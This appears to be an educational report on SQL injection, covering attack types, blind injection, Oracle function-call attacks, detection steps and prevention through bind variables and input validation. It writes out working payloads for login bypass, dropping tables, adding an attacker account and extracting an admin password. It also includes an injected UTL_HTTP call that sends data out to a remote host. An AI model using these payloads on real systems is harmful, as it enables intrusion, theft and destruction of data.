sql injection

SQL Injection

Introduction

The World Wide Web has experienced remarkable growth in recent years. Businesses,

individuals, and governments have found that web applications can offer effective,

efficient and reliable solutions to the challenges of communicating and conducting

commerce in the Twenty-first century. However, the security of Web applications has

become increasingly important in the last decade. With more and more Web-based

applications deal with sensitive financial and medical data, it is crucial to protect these

applications from hacker attacks. A security assessment by the Application Defense

Center, which included more than 250 Web applications from e-commerce, online

banking, enterprise collaboration, and supply chain management sites, concluded that at

least 92% of Web applications are vulnerable to some form of attack.

Much vulnerability in web applications is caused by permitting unchecked input to take

control of the application, which an attacker will turn to unexpected purposes. SQL

Injection is the most common type of technique used. Beside SQL Injection the other

type of attacks are:

Shell injection.

Scripting language injection.

File inclusion.

XML injection.

SQL Injection

XPath injection.

LDAP injection.

SMTP injection.

What is SQL Injection?

SQL Injection is a technique to hack the database. It is a type of security exploit in which

the attacker adds the SQL code to a Web form input box to gain access to resources or

make changes to data.[7]

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SQL Injection

What are SQL Injection attacks?

An SQL injection attack is an type of attack where a user of your form enters a piece of

SQL code into it, and wraps it in special characters in such a way that the data entered

doesn't get used for the purpose you had intended, instead it gets used to corrupt or

destroy your database.[1]

When attacker enters the data into the form, that data is directly used to build a dynamic

SQL query to retrieve the data from database. Such malicious code injection is called as

an SQL Injection attack.

There are two form of SQL Injection attacks :

1. Form Injection.

2. URL Injection.

What’s vulnerable?

A web application is vulnerable to SQL injection for only one reason – end user string

input is not properly validated and is passed to a dynamic SQL statement. The string

input is usually passed directly to the SQL statement. However, the user input may be

stored in the database and later passed to a dynamic SQL statement. Because of the

stateless nature of many web applications, it is common to write data to the database

between web pages. This indirect type of attack is much more complex and requires in-

depth knowledge of the application. [1]

What’s not vulnerable?

SQL Statements using bind variables are generally immune to SQL Injection attacks as

the Oracle database will use the value of the bind variable exclusively and not interpret

the contents of the variable in any way. PL/SQL and JDBC allow for bind variables. Bind

variables should be extensively used for both security and performance reasons. [1]

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SQL Injection

Working of SQL Injection

The principles behind a SQL injection are simple and these types of attacks are easy to

execute and master. To exploit a SQL injection flaw, the attacker must find a parameter

that the web application passes through to a database. By carefully embedding malicious

SQL commands into the content of the parameter, the attacker can trick the web

application into forwarding a malicious query to the database. [4]

For example, consider the login form which accepts the username and password from the

user.

The values supplied in the field “Username” and “Password” are directly used to build

the SQL Query like :

SELECT * FROM customers

WHERE name = ‘ & name & ’ AND password = ‘ & password’

Now, Suppose the user supplied the Username =”Admin” and Password=”magic”. The

query will become :


WHERE name = ‘Admin’ AND password = ‘magic’

This will work with no problem. But suppose the user supplied some poorly devised

string of code then that will allow the attacker to by-pass the authentication and access

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SQL Injection

the information from the database. i.e. if user supplied username=’ OR 1=1—then the

query will be passed as :


WHERE name = ‘’ OR 1=1--’ AND password = ‘ ’;

It Works as follows:

‘ : Closes the user input field.

OR : Continues the SQL query so that the process should equal to what come

before OR what come after.

1=1 : A statement which is always true.

-- : Comments outs the rest of the lines so that it won’t be processed.

The data we're filling is used the WHERE clause. And Because the application is not

really thinking about the query - merely constructing a string - our use of OR has turned

a single-component WHERE clause into a two-component one, and the 1=1 clause is

guaranteed to be true no matter what the first clause is. The query means that “Select

everything from the table customers if the name equals “nothing” Or 1=1. Ignore

anything that follows on this line.

Seeing as 1 will always equal 1, the server has received a true statement and is fooled into

allowing an attacker more access than they should have. The code that refers to the

password input field is never run by the server and therefore does not apply.

Some more examples :

Example 1: Getting a column name from database error message. [2]

Consider the a login form supplied with following arguments :

Username: ' having 1=1 ---

Password: [Anything]

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SQL Injection

When the user clicks on the submit button to start the login process, the SQL query

causes ASP to spit the following error to the browser:

“Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'users.userName' is invalid in the select list because it is not contained in

an aggregate function and there is no GROUP BY clause.

/login.asp, line 16”

This error message now tells the unauthorized user the name of one field from the

database that application is trying to validate the login credentials against: users.

username. Using the name of this field, attacker can now use SQL Server's LIKE clause

to login with the following credentials:

Username: ' OR users.userName LIKE 'a%' --


This performs an injected SQL query against our users table:

SELECT userName FROM users

WHERE userName='' OR users.userName LIKE 'a%' --' and userPass=''

The query grabs the userName field of the first row whose userName field starts with ‘a’.

Example 2: Creating a new username and password. [5]

To create a new user record, the attacker must have the information about the table name

and column names it that table. For that the user might use the following technique. First

the user supply a input at username field like:

Username: ' having 1=1--

This provokes the following error:

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SQL Injection

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid

in the select list because it is not contained in an aggregate function and there is

no GROUP BY clause.

/process_login.asp, line 35

So the attacker now knows the table name and column name of the first column in the

query. They can continue through the columns by introducing each field into a 'group by'

clause, as follows:

Username: ' group by users.id having 1=1--

The above input generates the following error:


[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is

invalid in the select list because it is not contained in either an aggregate function

or the GROUP BY clause.


Eventually the attacker arrives at the following Username :

' group by users.id, users.username, users.password, users.privs having 1=1--

… which produces no error, and is functionally equivalent to:

select * from users where username = ''

So the attacker now knows that the query is referencing only the 'users' table, and is using

the columns 'id, username, password, privs', in that order.

It would be useful if he could determine the types of each column. This can be achieved

using a 'type conversion' error message, like this:

Username: ' union select sum(username) from users--

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SQL Injection

This takes advantage of the fact that SQL server attempts to apply the 'sum' clause before

determining whether the number of fields in the two rowsets is equal. Attempting to

calculate the 'sum' of a textual field results in this message:


[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average

aggregate operation cannot take a varchar data type as an argument.


..which tells us that the 'username' field has type 'varchar'. If, on the other hand, we

attempt to calculate the sum() of a numeric type, we get an error message telling us that

the number of fields in the two rowsets don't match:

Username: ' union select sum(id) from users--


[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL

statement containing a UNION operator must have an equal number of

expressions in their target lists.


We can use this technique to approximately determine the type of any column of any

table in the database.

This allows the attacker to create a well - formed 'insert' query, like this:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

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SQL Injection

Example 3 :Dropping a table from database. [2]

Several databases use semicolon (;) to delimit a query. The use of a semi-colon allows

multiple queries to be submitted as one batch and executed sequentially. The attacker

might use this to inject the database. For example,

Username: ' OR 1=1; DROP TABLE users; --


Then the query would execute in two parts. Firstly, it would select the userName field for

all rows in the users table. Secondly, it would delete the users table, so that when we went

to login next time, we would see the following error:

Microsoft OLE DB Provider for SQL Server (0x80040E37)

Invalid object name 'users'.

/login.asp, line 16

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SQL Injection

Types of SQL Injection attacks

The SQL Injection attacks are basically divided into 2 types :

1. First Order attacks

2. Second Order attacks

First Order attacks

First order attacks are those attacks when the attacker receives the desired result

immediately, either by direct response from the application they are interacting with or

through some other response mechanism, such as E-mail. [3]

For example, suppose a form ask the email id of the user. If the user provided the correct

email id with no extra code then the query will run properly. But suppose if the user enter

a “LIKE” clause with the email id then the database will return the matching criteria to

the user immediately.

SELECT email, passed, login_id, full_name

FROM members

WHERE email=’ x’ OR full_name LIKE ‘%Bob%’;

Here, the database will return information of any user where the name starts with “Bob”.

As, the attacker is getting the result immediately, this type of attacks are called first order

attacks.

Second Order attacks

A Second order attack can be classified as the process in which the malicious code is

injected into a web-based application and not immediately executed, but is stored by

application (e.g. temporarily cached, logged, stored in database) and then later retrieved,

rendered or executed by the victim. [3]

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SQL Injection

This type of attacks often occurs because once data is in the database; it is often thought

of as being clean and is not checked again. However, the data is frequently used in

queries where it can still cause harm.

Consider an application that permits the users to set up some favourite search criteria.

When the user defines the search parameters, the application escapes out all the

apostrophes so that a first-order attack cannot occur when the data for the favourite is

inserted into the database. However, when the user comes to perform the search, the data

is taken from the database and used to form a second query which then performs the

actual search. It is this second query which is the victim of the attack.

For example, if the user types the following as the search criteria:

'; DELETE Orders;--

The application takes this input and escapes out apostrophe so that the final SQL

statement might look like this :

INSERT INTO favourites (UserID, FriendlyName, Criteria)

VALUES(123, 'My Attack', ''';DELETE Orders;--')

which is entered into the database without problems. However, when the user selects

their favourite search, the data is retrieved to the application, which forms a new SQL

command and executes that.

The second query to the database, when fully expanded, now looks like this:

SELECT * FROM Products

WHERE ProductName = ''; DELETE Orders;--

It will return no results for the expected query, but the company has just lost all of their

orders. These types of attacks are known as second order attacks.

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SQL Injection

Methods of SQL Injection

There are two methods for attacking through SQL Injection. They are

1. Normal SQL Injection

2. Blind SQL Injection

Normal SQL Injection

In this type of attacks, when an attacker tries to execute SQL Query, sometimes the

server returns an error page to the user which describes the type and cause of the error in

detail. Thus, the attacker can try to match his query with the developers query by using

the information contained in the error messages returned in response by the database

server. [6]

By appending a union select statement to the parameter, the attacker can test to see if he

can gain access to the database: For example,

http://example/article.asp?ID=2+union+all+select+name+from+sysobjects

The SQL server then may return the database error similar to this :


[Microsoft] [ODBC SQL Server Driver] [SQL Server] All

queries in the SQL statement containing a UNION

operator must have an equal number of expressions

in their target lists.

This tells the attacker that he must now guess the correct number of columns for his SQL

statement to work.

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SQL Injection

Blind SQL Injection

Blind SQL injection is identical to normal SQL Injection except that when an attacker

attempts to exploit an application, rather then getting a useful error message, they get a

generic page specified by the developer instead. This makes exploiting a potential SQL

Injection attack more difficult but not impossible. An attacker can still steal data by

asking a series of True and False questions through SQL statements. [8]

Detecting Blind SQL Injection [6]

Executing the following request to a web site:

http://example/article.asp?ID=2+and+1=1

Should return the same web page as:

http://example/article.asp?ID=2

because the SQL statement 'and 1=1' is always true.

Executing the following request to a web site:

http://example/article.asp?ID=2+and+1=0

would then cause the web site to return a friendly error or no page at all. This is because

the SQL statement "and 1=0" is always false.

Once the attacker discovers that a site is susceptible to Blind SQL Injection, he can

exploit this vulnerability more easily, in some cases, than by using normal SQL Injection.

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SQL Injection

Categories Of SQL Injection Attacks

There are four main categories of SQL Injection attacks against databases. They are:

1. SQL Manipulation

2. Code Injection

3. Function Call Injection

4. Buffer Overflows

SQL Manipulation

The most common type of SQL Injection attack is SQL manipulation. The attacker

attempts to modify the existing SQL statement by adding elements to the WHERE clause

or extending the SQL statement with set operators like UNION, INTERSECT, or

MINUS. [1] There are other possible variations, but these are the most significant

examples.

The classic SQL manipulation is during the login authentication. A simplistic web

application may check user authentication by executing the following query and checking

to see if any rows were returned –

SELECT * FROM users

WHERE username = 'bob'

And PASSWORD = 'mypassword'

The attacker attempts to manipulate the SQL statement to execute as:

SELECT * FROM users

WHERE username = 'bob'

AND Password = 'mypassword' or 'a' = 'a'--

Based on operator precedence, the WHERE clause is true for every row and the attacker

has gained access to the application.

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SQL Injection

The set operator UNION is frequently used in SQL injection attacks. The goal is to

manipulate a SQL statement into returning rows from another table. A web form may

execute the following query to return a list of available products:

SELECT product_name

FROM all_products

WHERE product_name like '%Chairs%'

The attacker attempts to manipulate the SQL statement to execute as:

SELECT product_name FROM all_products

WHERE product_name like '%Chairs'

UNION

SELECT username FROM dba_users

WHERE username like '%';

The list returned to the web form will include all the selected products, but also all the

database users in the application.

Code Injection

Code injection attacks attempt to add additional SQL statements or commands to the

existing SQL statement. This type of attack is frequently used against Microsoft SQL

Server applications, but seldom works with an Oracle database. The EXECUTE

statement in SQL Server is a frequent target of SQL injection attacks – there is no

corresponding statement in Oracle. [1]

In PL/SQL and Java, Oracle does not support multiple SQL statements per database

request. Thus, the following common injection attack will not work against an Oracle

database via a PL/SQL or Java application. This statement will result in an error:

SELECT * FROM users WHERE username = 'bob'

AND Password = 'mypassword'; DELETE FROM users

WHERE username = 'admin';

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SQL Injection

However, some programming languages or APIs may allow for multiple SQL statements

to be executed.

PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks,

which are vulnerable to code injection. The following is an example of a PL/SQL block

executed in a web application –

BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); END;

The above example PL/SQL block executes an application stored procedure that encrypts

and saves the user’s password. An attacker will attempt to manipulate the PL/SQL block

to execute as –

BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); DELETE FROM users

WHERE upper(username) = upper('admin'); END;

Function Call Injection

Function call injection is the insertion of Oracle database functions or custom functions

into a vulnerable SQL statement. These function calls can be used to make operating

system calls or manipulate data in the database. [1]

The Oracle database allows functions or functions in packages to be executed as part of a

SQL statement. By default, Oracle supplies over 1,000 functions in about 175 standard

database packages, although only a few of these functions may be useful in a SQL

injection attack. Some of these functions do perform network activities which can be

exploited. Any custom function or function residing in a custom package can also be

executed in a SQL statement.

Functions executed as part of a SQL SELECT statement can not make any changes to the

database unless the function is marked as “PRAGMA TRANSACTION”. [1] None of the

standard Oracle functions are executed as autonomous transactions. Functions executed

in INSERT, UPDATE, or DELETE statements are able to modify data in the database.

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SQL Injection

Using the standard Oracle functions, an attacker can send information from the database

to a remote computer or execute other attacks from the database server. Many native

Oracle applications leverage database packages which can be exploited by an attacker.

These custom packages may include functions to change passwords or perform other

sensitive application transactions.

The issue with function call injection is that any dynamically generated SQL statement is

vulnerable. Even the simplest SQL statements can be effectively exploited.

The following example demonstrates even the most simple of SQL statements can be

vulnerable. Application developers will sometimes use database functions instead of

native code (e.g., Java) to perform common tasks. There is no direct equivalent of the

TRANSLATE database function in Java, so the programmer decided to use a SQL

statement. [1]

SELECT TRANSLATE('user input',

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',

'0123456789')

FROM dual;

This SQL statement is not vulnerable to other types of injection attacks, but is easily

manipulated through a function injection attack. The attacker attempts to manipulate the

SQL statement to execute as: [1]

SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',


'0123456789')

FROM dual;

The changed SQL statement will request a page from a web server. The attacker could

manipulate the string and URL to include other functions in order to retrieve useful

information from the database server and send it to the web server in the URL. Since the

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SQL Injection

Oracle database server is most likely behind a firewall, it could also be used to attack

other servers on the internal network.

Custom functions and functions in custom packages can also be executed. An example

would be a custom application has the function ADDUSER in the custom package

MYAPPADMIN. The developer marked the function as “PRAGMA TRANSACTION”,

so it could be executed under any special circumstances that the application might

encounter. Since it is marked “PRAGMA TRANSACTION”, it can write to the database

even in a SELECT statement.

SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '',


'0123456789')

FROM dual;

Executing the above SQL statement, the attacker is able to create new application users.

Buffer Overflows

A number of standard Oracle database functions are susceptible to buffer overflows,

which can be exploited through a SQL injection attack in an un-patched database.[1]

Known buffer overflows exist in the standard database functions like:

tz_offset

to_timestamp_tz

bfilename, from_tz

numtoyminterval

numtodsinterval.

A buffer overflow attack using tz_offset, to_timestamp_tz, bfilename, from_tz,

numtoyminterval, or numtodsinterval is executed using the function injection methods

described previously. By exploiting the buffer overflow via a SQL injection attack,

remote access to the operating system can be achieved.

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SQL Injection

In addition, most application and web servers do not gracefully handle the loss of a

database connection due to a buffer overflow. Usually, the web process will hang until

the connection to the client is terminated, thus making this a very effective denial of

service attack.

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SQL Injection

Detection Of Vulnerability

To detect whether your application is vulnerable to SQL injection attacks, follow the

given steps:

Step 1 : Open the Web site in a browser.

Step 2 : Mouse over the links of the Web site with your cursor while paying attention

to the bottom status bar. You will notice the URLs that the links point to. Try to find a

URL with parameters in it (Ex. http://www.site.com/articleid.asp?id=42). Most SQL

injection problems are present when the file extensions are “.asp” or “.cfm”. When trying

to test a site for SQL injection vulnerabilities, look for these files specifically. And if you

don’t see any URLs in the status bar, then just click on links, and watch the address bar

until you find a URL that has parameters.

Step 3 : Once a URL with parameters has been found, click the link, and go to that

page. In the address bar, you should now see the URL that was seen in the status bar, one

having parameter values.

Step 4 : Here is where the actual testing for hacker protection takes place. There are

2 methods for testing script for SQL injection. Be sure to test each parameter value one at

a time with both methods.

Method 1: Go to the address bar, click your cursor, and highlight a parameter value (Ex.

Highlight the word value in “name=value”), and replace it with a single quote (‘).

It should now look like “name=’ ”.

Method 2: Go to the address bar, click your cursor, and put a single quote (‘) in the

middle of the value. It should now look like “name=val’ue”

Step 5 : Click the ‘GO’ button to send your request to the Web Server.

Step 6 : Analyse the response from the Web server for any error messages. Most

database error messages will look similar like:

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SQL Injection

Example Error 1: Microsoft OLE DB Provider for SQL Server error

'80040e14'Unclosed quotation mark before the character string '51 ORDER BY

some_name'./some_directory/some_file.asp, line 5

Example Error 2: ODBC Error Code = S1000 (General error [Oracle][ODBC]

[Ora]ORA-00933: SQL command not properly ended.

Step 7 : Sometimes the error message is not obvious and is hidden in the source of

the page. To look for it, you must view the HTML source of the page and search for the

error. To do this in Internet Explorer, click the ‘View’ menu, and select the

‘Source’option. This will cause Notepad to open with the HTML source of the page. In

Notepad, click the ‘Edit’ menu, and select ‘Find’. A dialog box will appear that will ask

you to 'Find What’. Type the phrase ‘Microsoft OLEDB’ (ODBC), in the text box and

then click ‘Find Next’.

If Either Step 6 or 7 is successful, then the Web site is vulnerable to SQL injection.

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SQL Injection

Preventing SQL Injection Attacks

SQL Injection attacks normally occur due to unfiltered user input or some over-privileged

database logins. Some of the common mistakes which make your application susceptible

to SQL Injection attacks are:

Weak input validation.

Dynamic construction of SQL statements with out use of proper type safe parameters.

Use of over privileged database logins.

SQL Injection attacks can be easily defeated with simple programming changes,

however, developers must be disciplined enough to apply the following methods to every

web accessible procedure and function. Every dynamic SQL statement must be protected.

A single unprotected SQL statement can result in comprising of the application, data or

database server.

Following are some techniques that can be used to prevent SQL Injection attacks :

1. Use Bind Variables

The most powerful protection against SQL injection attacks is the use of bind variables.

Using bind variables will also improve application performance. Application coding

standards should require the use of bind variables in all SQL statements. No SQL

statement should be created by concatenating together strings and passed parameters.

Bind variables should be used for every SQL statement regardless of when or where the

SQL statement is executed. This is Oracle’s internal coding standard and should also be

your organization’s standard. A very complex SQL injection attack could possibly exploit

an application by storing an attack string in the database, which would be later executed

by a dynamic SQL statement. [1]

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SQL Injection

2. Validate The Input

Every passed string parameter should be validated. Input validation should be applied

first at the client level. The data passed from the client form must be checked for input

validation at the server level before submitting the query to the database server for

execution. If the data fails to pass the validation process, it should be rejected and error

message should be returned to the user.

Many web applications use hidden fields and other techniques, which also must be

validated. If a bind variable is not being used, special database characters must be

removed or escaped.

For Oracle databases, the only character at issue is a single quote. The simplest method is

to escape all single quotes – Oracle interprets consecutive single quotes as a literal single

quote.

The use of bind variables and escaping of single quotes should not be done for the same

string. A bind variable will store the exact input string in the database and escaping any

single quotes will result in double quotes being stored in the database. [1]

3. Function Security

Standard and custom database functions can be exploited in SQL injection attacks. Many

of these functions can be used effectively in an attack. Oracle is delivered with hundreds

of standard functions and by default all have grants to PUBLIC. The application may

have additional functions which perform operations like changing passwords or creating

users that could be exploited. [1]

All functions that are not absolutely necessary to the application should be restricted.

4. Limit The Open-Ended Input

Try to limit the open-ended input wherever possible, by using select boxes instead of

Text boxes. Application must apply client side validation for all inputs. For validation

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SQL Injection

only the option in the select box should be taken up and any other option should be

rejected.[3]

5. Verify The Type Of Data

Verify the data type using ISNUMERIC or equivalent function before passing it into a

SQL statement. For string data replace single quotes with two single quotes using the

replace function or equivalent.[9]

Good string = replace(input string,','');

6. Use Stored Procedures

Use stored procedures avoid direct access to the table. Stored procedures that are not

being used may be deleted such as: master_xp_cmdshell, xp_sendmail, xp_startmail,

sp_makewebtask.[3]

7. Never build dynamic SQL statement directly from the user input and never

concatenate user input, with SQL statements, which is not validated. [9]

8. Filter out characters like slash, backslash, extended characters like NULL, carry

return, new line in all strings from user input and parameters from URL. [9]

9. Privileges of the user account used in the application for executing SQL statements

on the database must be defined. [2]

10. Length of the user input should be limited. [2]

11. Whenever possible reject input that contains following potentially dangerous

characters [9]:

Character Meaning

; Query Delimiter.

' Character Data String Delimiter

-- Single Line Comment.

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SQL Injection

Some Useful Tricks

1. How to get data from the database using ODBC error message ?

We can use information from error message produced by the MS SQL Server to get

almost any data we want. Take the following page for example [4] :

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:


UNION

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all

tables in the server. The TABLE_NAME field obviously contains the name of each table

in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

This should return the first table name in the database. When we UNION this string value

to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This

will produce an error, since we cannot convert nvarchar to int. The server will display the

following error:


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'table1' to a column of data type int.

/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an

integer. In this case, we have obtained the first table name in the database, which is

“table1".

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SQL Injection

To get the next table name, we can use the following query:


UNION

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

WHERE TABLE_NAME NOT IN ('table1')--

2. How to get all column names of a table?

We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all

columns name of a table [4]:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:



nvarchar value 'login_id' to a column of data type int.

/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column

name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'

WHERE COLUMN_NAME NOT IN ('login_id')--

Output:



nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

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SQL Injection

3. How to retrieve any data?

Now that we have identified some important tables, and their column, we can use the

same technique to gather any information we want from the database [4].

Now, let's get the first login_name from the "admin_login" table:


UNION

SELECT TOP 1 login_name FROM admin_login--

Output:



nvarchar value 'neo' to a column of data type int.

/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the

password of "neo" from the database:


UNION

SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:



nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5

We can now login as "neo" with his password "m4trix".

26

SQL Injection

Conclusion

SQL Injection is an attack methodology that targets the data residing in a database

through the firewall that shields it.

It attempts to modify the parameters of a Web -based application in order to alter the

SQL statements that are parsed to retrieve data from the database. Database footprinting

is the process of mapping out the tables on the database and is a crucial tool in the hands

of an attacker. Exploits occur due to coding errors as well as inadequate validation

checks. Prevention involves enforcing better coding practices and database administration

procedures.

Remember always patch and update holes because exploits are found commonly and the

attacker is not going to wait.

27

sql injection

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